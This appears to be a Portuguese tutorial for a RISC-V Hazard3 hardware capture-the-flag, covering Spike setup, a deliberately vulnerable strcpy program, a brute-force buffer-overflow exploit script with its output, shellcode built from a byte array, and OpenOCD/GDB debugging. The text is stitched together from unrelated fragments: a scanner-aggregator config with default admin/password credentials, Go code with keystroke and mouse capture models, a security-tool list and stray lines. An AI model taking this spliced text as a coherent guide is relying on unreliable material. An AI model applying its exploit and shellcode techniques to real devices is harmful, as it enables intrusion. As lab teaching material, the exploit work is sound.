# Canal Slack para enviar alertas
slack_channel = #vuln-whispers
```
Você pode gerar um token de bot acessando [https://api.slack.com/apps](https://api.slack.com/apps) e criando um novo aplicativo do Slack. Selecione "Bot" como o escopo e, em seguida, instale o aplicativo em seu workspace. Copie o `Bot User OAuth Token` fornecido.
#### Seção de Configuração de Agregadores de Vulnerabilidades
```ini
[vulnerability_collectors]
# Coletores de vulnerabilidade (separados por vírgula) para executar
# Opções válidas: nexpose, openvas, nessus
collectors = nexpose, openvas
# Intervalo para coletar vulnerabilidades dos coletores (em horas), defina como 0 para executar uma vez
collection_interval_hours = 4
```
#### Seção de Configuração Nexpose
```ini
[nexpose]
nexpose_host = 127.0.0.1
nexpose_port = 3780
nexpose_user = admin
nexpose_password = password
nexpose_ssl = true
```
#### Seção de Configuração OpenVAS
```ini
[openvas]
openvas_host = 127.0.0.1
openvas_port = 9390
openvas_user = admin
openvas_password = password
openvas_ssl = true
```
#### Seção de Configuração Nessus
```ini
[nessus]
nessus_host = 127.0.0.1
nessus_port = 8834
nessus_user = admin
nessus_password = password
nessus_ssl = true
```
### Referências
* [https://www.rapid7.com/products/nexpose/](https://www.rapid7.com/products/nexpose/)
* [https://www.greenbone.net/en/](https://www.greenbone.net/en/)
* [https://www.tenable.com/products/nessus](https://www.tenable.com/products/nessus)
### Licença
Este projeto está licenciado sob a Licença MIT - veja o arquivo [LICENSE](https://github.com/therealdreg/hcon2026hwctf/blob/HEAD/LICENSE) para mais detalhes.```
cd /home/dreg/RISCV/riscv-pk
mkdir build
cd build
../configure --prefix=$RISCV --host=riscv32-unknown-elf
make
make install
```
ENTRADA:```
cd /home/dreg/RISCV/riscv-isa-sim
mkdir build
cd build
../configure --prefix=$RISCV --enable-histogram
make
make install
```
### Testar se funciona
poc.c (/home/dreg/RISCV/poc.c)```
#include <stdio.h>
int main()
{
printf("Hello Dreg RISCV!\n");
return 0;
}
```
Compile poc.c```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/riscv32-unknown-elf-gcc -march=rv32imac_zicsr_zifencei_zba_zbb_zbs -mabi=ilp32 -static -g poc.c -o poc
```
Executar poc no Spike```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
```
A saída deve ser:```
Hello Dreg RISCV!
```
Parabéns, você compilou e executou com sucesso um programa RISCV usando o emulador Spike!
## Como usar o depurador Spike
Depurando a função main:```
cd /home/dreg/RISCV/
/home/dreg/RISCV/bin/riscv32-unknown-elf-objdump -D poc
```
função principal no meu caso em 0x00010154```
.....
0001016a <main>:
1016a: 1141 addi sp,sp,-16
1016c: c606 sw ra,12(sp)
1016e: c422 sw s0,8(sp)
10170: 0800 addi s0,sp,16
10172: 67c9 lui a5,0x12
10174: 43c78513 addi a0,a5,1084 # 1243c <__errno+0x6>
10178: 26ad jal 104e2 <puts>
1017a: 4781 li a5,0
1017c: 853e mv a0,a5
1017e: 40b2 lw ra,12(sp)
10180: 4422 lw s0,8(sp)
10182: 0141 addi sp,sp,16
10184: 8082 ret
.....
```
```
func Reconnect() {
// Something went wrong, we need to wait for a moment before reconnecting
time.Sleep(5 * time.Second)
// Attempt to reconnect
err := BroadcastConnection.Connect()
for err != nil {
time.Sleep(5 * time.Second)
err = BroadcastConnection.Connect()
}
// If we get here, we are reconnected
// Set the reconnect flag to false to allow the main loop to continue
mu.Lock()
reconnect = false
mu.Unlock()
}
```
Isto é um **Transmissor/Receptor de Pacotes** por padrão. Para alterar este comportamento, modifique o código em `main.go` e recompile.
```go
// Broadcast sends a message to all connected clients
func Broadcast(msg Message) error {
// Add the message to the queue, this handles all the processing
messageQueue.Enqueue(msg)
return nil
}
```
#### Modelos
Os modelos usados neste projeto são:
```
+ `Key` - Contains a key press code and action (down/up)
+ `Mouse` - Contains a mouse button code and action (down/up)
+ `Window` - Contains a window title and process ID
+ `Packet` - Contains a timestamp and header
+ `Message` - Contains a type and data
```
Estes modelos são apenas structs criadas para armazenar e transferir dados.```
cd /home/dreg/RISCV/
/home/dreg/RISCV/bin/spike -d --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
```
Dentro do depurador spike:```
(spike) until pc 0 0x0001016a
(spike) pc 0
0x0001016a
```
Agora você está no início da função main, pressione Enter para percorrer as instruções uma por uma.```
(spike)
core 0: 0x0001016a (0x00001141) c.addi sp, -16
(spike)
core 0: 0x0001016c (0x0000c606) c.swsp ra, 12(sp)
(spike)
core 0: 0x0001016e (0x0000c422) c.swsp s0, 8(sp)
(spike)
core 0: 0x00010170 (0x00000800) c.addi4spn s0, sp, 16
```
Pode usar o comando `help` para ver mais opções.
Spike é um depurador MUITO básico, então combine `riscv32-unknown-elf-objdump`, `dump` (comando do spike) e `hexdump` externo para analisar memória e código de forma mais eficaz...
## Exemplo POC de baixa qualidade
Exemplo POC de baixa qualidade de um clássico buffer overflow explorando o RISCV Hazard3 usando o emulador Spike.
No RISCV, o endereço de retorno pode ser armazenado num registrador em vez de na pilha como no x86. Para permitir a sobreposição do endereço de retorno baseada na pilha, adicionei chamadas de função aninhadas para empurrar o endereço de retorno para a pilha.
test.c```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static unsigned char buff[0x100] = { 0 };
static void __attribute__((optimize("O0"))) func3(unsigned char* exbuff)
{
strcpy((char*)exbuff, (char*)buff);
}
static void __attribute__((optimize("O0"))) func2(unsigned char* exbuff)
{
func3(exbuff);
}
static void __attribute__((optimize("O0"))) func1(void)
{
unsigned char exbuff[10] = { 0 };
func2(exbuff);
}
static void __attribute__((optimize("O0"))) func_impossible(void)
{
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("good hacker!\n");
exit(0);
}
int main(int argc, char* argv[])
{
printf("\nhttps://github.com/therealdreg/hcon2026hwctf\n");
printf("Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg\n");
printf("func_impossible address: %p\n", func_impossible);
if (argc < 2)
{
printf("Error, must execute with one arg\n");
return 1;
}
printf("argv 1: %s\n", argv[1]);
strcpy((char*)buff, argv[1]);
func1();
return 0;
}
```
dotest.sh```
#!/usr/bin/env bash
# https://github.com/therealdreg/hcon2026hwctf
# by Dreg - @therealdreg
set -x
RISCV=/home/dreg/RISCV
PATH=$PATH:$RISCV/bin
ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs"
ABI="ilp32"
CC="riscv32-unknown-elf-gcc"
PK="$RISCV/riscv32-unknown-elf/bin/pk"
ISA_SPIKE="$ARCH"
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
file test
spike --isa=$ISA_SPIKE "$PK" test AA
echo
spike --isa=$ISA_SPIKE "$PK" test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
Após dotest.sh, esta é a saída```
....
+ spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs /home/dreg/RISCV/riscv32-unknown-elf/bin/pk test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101d2
argv 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
z 00000000 ra 41414141 sp 7ffffd20 gp 0001c810
tp 00000000 t0 000003e8 t1 0000006a t2 00000001
s0 41414141 s1 00000000 a0 7ffffd04 a1 0001c7c4
a2 7ffffd64 a3 00000000 a4 00000000 a5 00000041
a6 ffffffff a7 00000040 s2 00000000 s3 00000000
s4 00000000 s5 00000000 s6 00000000 s7 00000000
s8 00000000 s9 00000000 sA 00000000 sB 00000000
t3 00000000 t4 00000000 t5 00008801 t6 00000005
pc 41414140 va/inst 41414140 sr 80006020
User fetch segfault @ 0x41414140
```
Como pode ver, transbordámos com sucesso o buffer e controlámos o contador de programa (pc) para apontar para 0x41414140, que corresponde a 'AAAA' em ASCII.
Agora vamos criar o payload de exploração CRAP poc para redirecionar a execução para a função func_impossible.
Para criar o payload de exploração, precisamos determinar o offset correto para sobrescrever o endereço de retorno e, em seguida, anexar o endereço da função func_impossible.
xpl.sh```
#!/usr/bin/env bash
# https://github.com/therealdreg/hcon2026hwctf
# by Dreg - @therealdreg
# Bruteforce offset script for RISCV Hazard3 buffer overflow
set -e
RISCV=/home/dreg/RISCV
PATH=$PATH:$RISCV/bin
ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs"
ABI="ilp32"
CC="riscv32-unknown-elf-gcc"
PK="$RISCV/riscv32-unknown-elf/bin/pk"
ISA_SPIKE="$ARCH"
echo "[+] Compiling test.c..."
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
echo "[+] Getting func_impossible address..."
FUNC_ADDR=$(spike --isa=$ISA_SPIKE "$PK" test AA 2>&1 | grep "func_impossible address:" | awk '{print $3}')
if [ -z "$FUNC_ADDR" ]; then
echo "[-] Error: Could not get func_impossible address"
exit 1
fi
echo "[+] func_impossible address: $FUNC_ADDR"
# Convert hex address to decimal and then to little-endian bytes
ADDR_DEC=$((FUNC_ADDR))
BYTE1=$(printf '%02x' $((ADDR_DEC & 0xFF)))
BYTE2=$(printf '%02x' $(((ADDR_DEC >> 8) & 0xFF)))
BYTE3=$(printf '%02x' $(((ADDR_DEC >> 16) & 0xFF)))
BYTE4=$(printf '%02x' $(((ADDR_DEC >> 24) & 0xFF)))
echo "[+] Address bytes (little-endian): \\x$BYTE1 \\x$BYTE2 \\x$BYTE3 \\x$BYTE4"
echo "[+] Starting bruteforce for offset..."
for OFFSET in {10..100}; do
echo "[*] Testing offset: $OFFSET"
# Create payload with OFFSET bytes of 'A' + target address in little-endian
python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin
# Run spike and capture output
OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)
# Check if func_impossible was executed
if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
echo ""
echo "[+] SUCCESS! Offset found: $OFFSET"
echo "[+] Exploit payload saved to: exploit_payload.bin"
echo "[+] Target address: $FUNC_ADDR"
echo ""
echo "[+] Output:"
echo "$OUTPUT"
echo ""
echo "[+] To reproduce:"
SPIKE_PATH=$(which spike)
echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
exit 0
fi
done
echo "[-] Offset not found in range 10-100"
exit 1
```
Exemplo de saída após executar xpl.sh```
[+] Compiling test.c...
[+] Getting func_impossible address...
[+] func_impossible address: 0x101e2
[+] Address bytes (little-endian): \xe2 \x01 \x01 \x00
[+] Starting bruteforce for offset...
[*] Testing offset: 10
[*] Testing offset: 11
[*] Testing offset: 12
[*] Testing offset: 13
[*] Testing offset: 14
[*] Testing offset: 15
[*] Testing offset: 16
[*] Testing offset: 17
[*] Testing offset: 18
[*] Testing offset: 19
[*] Testing offset: 20
[*] Testing offset: 21
[+] SUCCESS! Offset found: 21
[+] Exploit payload saved to: exploit_payload.bin
[+] Target address: 0x101e2
[+] Output:
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101e2
argv 1: AAAAAAAAAAAAAAAAAAAAA�
�AAAAAAAAA�
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
good hacker!
[+] To reproduce:
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" test "$(cat exploit_payload.bin)"
```
hexdump -C exploit_payload.bin```
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 e2 01 01 00 |AAAAA....|
```
`xpl.sh` script é uma CRAP POC que força bruta com sucesso o offset necessário para atingir a função `func_impossible`. Pode ser necessário modificar ou adaptar o exploit para atender aos seus requisitos específicos.
# Escrita de Payload / Shellcode para RISCV Hazard3
Esta secção demonstra a transição do código C de alto nível para shellcode de instruções brutas para o núcleo RISC-V Hazard3. Começaremos com um projeto padrão do Pico SDK e, progressivamente, removeremos as abstrações até conseguirmos executar código de máquina bruto a partir de uma matriz de bytes.
Instale a toolchain de compilação cruzada e clone o Pico SDK.```
# Install dependencies
sudo apt-get update
sudo apt-get install cmake python3 build-essential gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib git
```
ENTRADA:```
# Create workspace
cd && mkdir ~/PAYLOAD
```
O sistema fornece alertas em tempo real e capacidades de relatórios detalhados. Os usuários podem gerar relatórios personalizados com base em períodos específicos e critérios de filtro.```
# Clone SDK v2.2.0
cd ~/PAYLOAD
git clone --recursive --branch 2.2.0 https://github.com/raspberrypi/pico-sdk.git
```
Configure o projeto especificamente para o RP2350 usando a arquitetura RISC-V. Observe que definimos as versões da plataforma e da toolchain para garantir compatibilidade.
File: `~/PAYLOAD/CMakeLists.txt````
set(PICO_PLATFORM rp2350-riscv)
set(PICO_BOARD pico2 CACHE STRING "Board type")
set(sdkVersion 2.2.0)
set(toolchainVersion RISCV_ZCB_RPI_2_2_0_3)
cmake_minimum_required(VERSION 3.13...3.27)
include(pico-sdk/pico_sdk_init.cmake)
project(my_project)
pico_sdk_init()
add_executable(poc
poc.c
)
target_link_libraries(poc pico_stdlib)
pico_enable_stdio_usb(poc 1)
pico_enable_stdio_uart(poc 0)
pico_add_extra_outputs(poc)
```
## Um arquivo C simples
Começamos com um programa C simples que alterna um GPIO. Esta versão depende de funções externas da SDK.
Arquivo: `~/PAYLOAD/poc.c````
#include <stdio.h>
#include "pico/stdlib.h"
static void __attribute__((optimize("O0"))) onled(void) {
gpio_put(25, 1);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
```
Compile o projeto e inspecione o binário resultante.```
cd ~/PAYLOAD/
rm -rf build/ && cmake -S . -B build && make -C build -j
```
File: `~/PAYLOAD/build/poc.elf````
~/PAYLOAD/build/poc.elf: ELF 32-bit LSB executable, UCB RISC-V, RVC, soft-float ABI, version 1 (SYSV), statically linked, with debug_info, not stripped
```
Se verificarmos a desmontagem, podemos ver como o compilador lida com as chamadas de função.
File: `~/PAYLOAD/build/poc.dis````
....
1000012e <onled>:
1000012e: 1141 addi sp,sp,-16
10000130: c606 sw ra,12(sp)
10000132: c422 sw s0,8(sp)
10000134: 0800 addi s0,sp,16
10000136: 4585 li a1,1
10000138: 4565 li a0,25
1000013a: 2031 jal 10000146 <gpio_put>
1000013c: 0001 nop
1000013e: 40b2 lw ra,12(sp)
10000140: 4422 lw s0,8(sp)
10000142: 0141 addi sp,sp,16
10000144: 8082 ret
....
10000146 <gpio_put>:
10000146: 28a01533 bset a0,zero,a0
1000014a: d00007b7 lui a5,0xd0000
1000014e: c199 beqz a1,10000154 <gpio_put+0xe>
10000150: cf88 sw a0,24(a5)
10000152: 8082 ret
10000154: d388 sw a0,32(a5)
10000156: 8082 ret
....
```
## Um ficheiro C com código asm (sem chamada externa)
Para criar um payload autónomo, devemos evitar saltos externos. Reescrevemos a função usando assembly inline para interagir diretamente com os registos do hardware.
Ficheiro: `~/PAYLOAD/poc_with_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
__attribute__((naked, optimize("O0"))) void onled(void) {
__asm__ volatile(
"addi sp, sp, -16\n\t"
"sw ra, 12(sp)\n\t"
"sw s0, 8(sp)\n\t"
"addi s0, sp, 16\n\t"
"li a1, 1\n\t"
"li a0, 25\n\t"
"bset a0, zero, a0\n\t"
"lui a5, 0xd0000\n\t"
"beqz a1, 1f\n\t"
"sw a0, 24(a5)\n\t"
"j 2f\n\t"
"1:\n\t"
"sw a0, 32(a5)\n\t"
"2:\n\t"
"nop\n\t"
"lw ra, 12(sp)\n\t"
"lw s0, 8(sp)\n\t"
"addi sp, sp, 16\n\t"
"ret\n\t"
);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
```
Now the disassembly shows that the function is now entirely self-contained:
File: `~/PAYLOAD/build/poc_with_asm.dis````
1000012e <onled>:
1000012e: 1141 addi sp,sp,-16
10000130: c606 sw ra,12(sp)
10000132: c422 sw s0,8(sp)
10000134: 0800 addi s0,sp,16
10000136: 4585 li a1,1
10000138: 4565 li a0,25
1000013a: 28a01533 bset a0,zero,a0
1000013e: d00007b7 lui a5,0xd0000
10000142: c199 beqz a1,10000148 <onled+0x1a>
10000144: cf88 sw a0,24(a5)
10000146: a011 j 1000014a <onled+0x1c>
10000148: d388 sw a0,32(a5)
1000014a: 0001 nop
1000014c: 40b2 lw ra,12(sp)
1000014e: 4422 lw s0,8(sp)
10000150: 0141 addi sp,sp,16
10000152: 8082 ret
10000154: 0001 nop
```
## Um arquivo C com código de payload / estilo shellcode
Extraia os opcodes em um array de bytes e execute-o convertendo-o para um ponteiro de função.
File: `~/PAYLOAD/poc_payload_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
unsigned char payload[] = {
"\x41\x11" // 1141
"\x06\xc6" // c606
"\x22\xc4" // c422
"\x00\x08" // 0800
"\x85\x45" // 4585
"\x65\x45" // 4565
"\x33\x15\xa0\x28" // 28a01533
"\xb7\x07\x00\xd0" // d00007b7
"\x99\xc1" // c199
"\x88\xcf" // cf88
"\x11\xa0" // a011
"\x88\xd3" // d388
"\x01\x00" // 0001
"\xb2\x40" // 40b2
"\x22\x44" // 4422
"\x41\x01" // 0141
"\x82\x80" // 8082
"\x01\x00" // 0001
};
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
((void (*)(void))(void*)payload)();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
((void (*)(void))(void*)payload)();
}
return 0;
}
```
Após a construção, podemos verificar que o payload está corretamente mapeado na memória
File: `~/PAYLOAD/build/poc_payload_asm.dis````
20000e74 <payload>:
20000e74: 1141 c606 c422 0800 4585 4565 1533 28a0 A..."....EeE3..(
20000e84: 07b7 d000 c199 cf88 a011 d388 0001 40b2 ...............@
20000e94: 4422 0141 8082 0001 0000 0000 "DA.........
```
# Depuração de Hardware
Um dos desafios exige que você forme uma dupla com outro participante ou tenha duas placas RP2350 para realizar depuração real de hardware; vamos aprender como fazer isso.
(Você precisa do pico-sdk instalado)
/etc/udev/rules.d/99-pico.rules```
# BOOTSEL mass storage
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0003", MODE:="0666"
# Pico normal mode (USB CDC/HID); útil para picotool
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0009", MODE:="0666"
# CMSIS-DAP probes (ej. RP Debug)
SUBSYSTEMS=="usb", ATTRS{idVendor}=="0d28", MODE:="0666"
```
/etc/udev/rules.d/99-openocd.rules```
# Sample udev rules for OpenOCD and Raspberry Pi / common debug probes
# Copy (as root) to /etc/udev/rules.d/99-openocd.rules and reload udev.
# Choose MODE/GROUP according to your security policy. Using GROUP="plugdev" and MODE="0660" is safer than 0666.
# Ensure your user is in the chosen group (e.g. plugdev or dialout).
# Raspberry Pi Pico in BOOTSEL (UF2 mass-storage + HID)
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0003", GROUP="plugdev", MODE="0660"
# Raspberry Pi Debug Probe (CMSIS-DAP) composite interface
# (VID 2e8a, PID 000c) Provides CMSIS-DAP and UART CDC.
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="000c", GROUP="plugdev", MODE="0660"
# Optional: allow tty device of Debug Probe (UART) for dialout group
SUBSYSTEM=="tty", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="000c", GROUP="dialout", MODE="0660"
# Picoprobe (RP2040 running picoprobe firmware)
# Often appears as VID 2e8a PID 0004
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0004", GROUP="plugdev", MODE="0660"
# Generic Arm DAPLink devices (mbed) - vendor 0d28
SUBSYSTEM=="usb", ATTR{idVendor}=="0d28", GROUP="plugdev", MODE="0660"
# ST-Link V2/V3 (STMicroelectronics)
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3748", GROUP="plugdev", MODE="0660" # ST-Link V2
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="374b", GROUP="plugdev", MODE="0660" # ST-Link V2-1
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3752", GROUP="plugdev", MODE="0660" # ST-Link V3
# SEGGER J-Link (example common VID/PID)
SUBSYSTEM=="usb", ATTR{idVendor}=="1366", GROUP="plugdev", MODE="0660"
# FTDI-based adapters (optional; restrict if needed)
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", GROUP="plugdev", MODE="0660"
# CMSIS-DAP HID interface sometimes enumerates under hidraw; ensure access if needed
KERNEL=="hidraw*", ATTRS{idVendor}=="2e8a", MODE="0660", GROUP="plugdev"
KERNEL=="hidraw*", ATTRS{idVendor}=="0d28", MODE="0660", GROUP="plugdev"
# After copying: sudo udevadm control --reload-rules && sudo udevadm trigger
# Unplug/replug devices or run: sudo udevadm trigger -v -c add -s usb
# Verify: ls -l /dev/hidraw* /dev/ttyACM* ; lsusb -v -d 2e8a:000c
# Test OpenOCD without sudo: openocd -f interface/cmsis-dap.cfg -f target/rp2040.cfg
```
- [Adalanche](https://github.com/lkarlslund/adalanche) - Visualizador e Explorador de ACL do Active Directory - quem é realmente o Domain Admin?
- [ccat](https://github.com/frostbits-security/ccat) - Ferramenta de segurança de contêineres em nuvem para testar ambientes de nuvem quanto a configurações incorretas de segurança, problemas de conformidade e ameaças em tempo de execução.
- [Stoccs](https://github.com/garrylachman/stoccs) - Detecta comprometimentos de Controladores de Domínio com técnicas de forense ao vivo em múltiplos estágios.```
sudo udevadm control -R
```
Primeiro, você precisa gravar um firmware .uf2 RISCV na placa alvo. Como o CTF usa firmware RISCV, esta etapa não é necessária. E além disso, você quer depurar esse firmware!
Converta uma placa RP2350 em uma placa de depuração por hardware com este firmware: https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2
Conecte a placa de depuração por hardware à placa alvo

Conecte RISCV-openocd```
cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
```
Truefation
---```
/home/dreg/.pico-sdk/openocd/0.12.0+dev/openocd \
-s /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts \
-f interface/cmsis-dap.cfg \
-f target/rp2350-riscv.cfg \
-c "set USE_CORE { rv0 }" \
-c "adapter speed 5000" \
-c "gdb breakpoint_override hard" \
-c "init"
```
Saída:```
Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15)
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
Info : [rp2350.rv0] Hardware thread awareness created
Info : [rp2350.rv1] Hardware thread awareness created
ocd_process_reset_inner
rv0
adapter speed: 5000 kHz
force hard breakpoints
Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729
Info : CMSIS-DAP: SWD supported
Info : CMSIS-DAP: Atomic commands supported
Info : CMSIS-DAP: Test domain timer supported
Info : CMSIS-DAP: FW Version = 2.0.0
Info : CMSIS-DAP: Interface Initialised (SWD)
Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0
Info : CMSIS-DAP: Interface ready
Info : clock speed 5000 kHz
Info : SWD DPIDR 0x4c013477
Info : [rp2350.rv0] datacount=1 progbufsize=2
Info : [rp2350.rv0] Disabling abstract command reads from CSRs.
Info : [rp2350.rv0] Disabling abstract command writes to CSRs.
Info : [rp2350.rv0] Core 0 could not be made part of halt group 1.
Info : [rp2350.rv0] Examined RISC-V core
Info : [rp2350.rv0] XLEN=32, misa=0x40901105
Info : [rp2350.rv0] Examination succeed
Info : [rp2350.rv1] datacount=1 progbufsize=2
Info : [rp2350.rv1] Disabling abstract command reads from CSRs.
Info : [rp2350.rv1] Disabling abstract command writes to CSRs.
Info : [rp2350.rv1] Core 1 could not be made part of halt group 1.
Info : [rp2350.rv1] Examined RISC-V core
Info : [rp2350.rv1] XLEN=32, misa=0x40901105
Info : [rp2350.rv1] Examination succeed
Info : [rp2350.rv0] starting gdb server on 3333
Info : Listening on port 3333 for gdb connections
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
```
Agora conecte RISCV-GDB:```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb -q \
-ex "set pagination off" \
-ex "set remote interrupt-on-connect off" \
-ex "target remote localhost:3333" \
-ex "monitor targets rp2350.rv0" \
-ex "monitor halt" \
-ex "info reg"
```
Saída:```
Remote debugging using localhost:3333
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x20001d56 in ?? ()
rp2350.rv0 halted due to breakpoint.
rp2350.rv1 halted due to debug-request.
ra 0x2001041c 0x2001041c
sp 0x20010400 0x20010400
gp 0x20031455 0x20031455
tp 0x0 0x0
t0 0x2000d7ba 536926138
t1 0x6a8c 27276
t2 0x200103a0 536937376
fp 0x20082000 0x20082000
s1 0x20010450 536937552
a0 0x0 0
a1 0x7232 29234
a2 0xffa00000 -6291456
a3 0x7206 29190
a4 0x0 0
a5 0xbdf0 48624
a6 0x7750 30544
a7 0x1 1
s2 0x10000036 268435510
s3 0x0 0
s4 0x0 0
s5 0x0 0
s6 0x0 0
s7 0x0 0
s8 0x0 0
s9 0x0 0
s10 0x0 0
s11 0x0 0
t3 0x200103d4 536937428
t4 0x0 0
t5 0x6b0c 27404
t6 0x74f8 29944
pc 0x20001d56 0x20001d56
```
Desmonte 10 instruções do pc atual usando x/10i $pc:```
(gdb) x/10i $pc
=> 0x20001d56: lui a5,0x20031
0x20001d5a: lbu a5,-931(a5)
0x20001d5e: .insn 2, 0x9fe1
0x20001d60: xori a5,a5,1
0x20001d64: .insn 2, 0x9fe1
0x20001d66: bnez a5,0x20001d54
0x20001d68: li a0,2000
0x20001d6c: jal 0x20004ce2
0x20001d70: nop
0x20001d72: li a5,1
```
A partir deste ponto, você pode depurar o chip.
## Black Magic Debug Probe RP2350 RISCV Hazard3

Compre Black Magic Debug Probe: Com cabo JTAG, cabo UART de 0,1" e adaptador de 20 pinos:
- https://1bitsquared.de/products/black-magic-probe
/etc/udev/rules.d/99-blackmagic-plugdev.rules```
# Black Magic Probe
# there are two connections, one for GDB and one for UART debugging
# copy this to /etc/udev/rules.d/99-blackmagic.rules
# and run sudo udevadm control -R
ACTION!="add|change|bind", GOTO="blackmagic_rules_end"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}"
